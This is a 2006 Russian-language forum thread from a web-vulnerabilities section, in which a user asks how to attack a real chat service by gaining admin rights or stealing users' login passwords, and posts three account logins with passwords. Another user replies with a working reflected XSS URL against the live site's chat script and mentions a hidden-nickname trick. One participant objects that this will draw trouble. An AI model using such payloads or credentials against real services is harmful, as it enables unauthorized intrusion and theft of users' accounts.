Чаты чат на UserLine

Discussion in 'Веб-уязвимости' started by Diablo, 12 Aug 2006.

  1. Diablo

    Diablo Elder - Старейшина

    Joined:
    7 Nov 2005
    Messages:
    132
    Likes Received:
    34
    Reputations:
    12
    Можно ли что-нибуть сделать с этим чатом ? Ну например права админа, алерт, ну может пароли к логинам спизд.. украсть...

    Для удобства, зарегил для вас три логина:
    Login/Ник : Пароль

    achat01 : antichat
    achat02 : antichat
    achat03 : antichat
     
  2. Dagon

    Dagon Elder - Старейшина

    Joined:
    27 Mar 2006
    Messages:
    57
    Likes Received:
    24
    Reputations:
    8
    нашел. xss. http://chat.userline.ru/bespredel/chat3_2.php?User=1&UniqueID=uii%"><script>alert(1)</script>
    http://chat.userline.ru/bespredel/chat3_2.php?User=xxs


    потом еще поищу...
     
  3. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Угу. и теперь, если что-нить с чатом произойдёт - сюда придут разбираться. Молодец, нечего сказать.
     
  4. Dagon

    Dagon Elder - Старейшина

    Joined:
    27 Mar 2006
    Messages:
    57
    Likes Received:
    24
    Reputations:
    8
    ещё в этом чате можно с невидимым ником сидеть )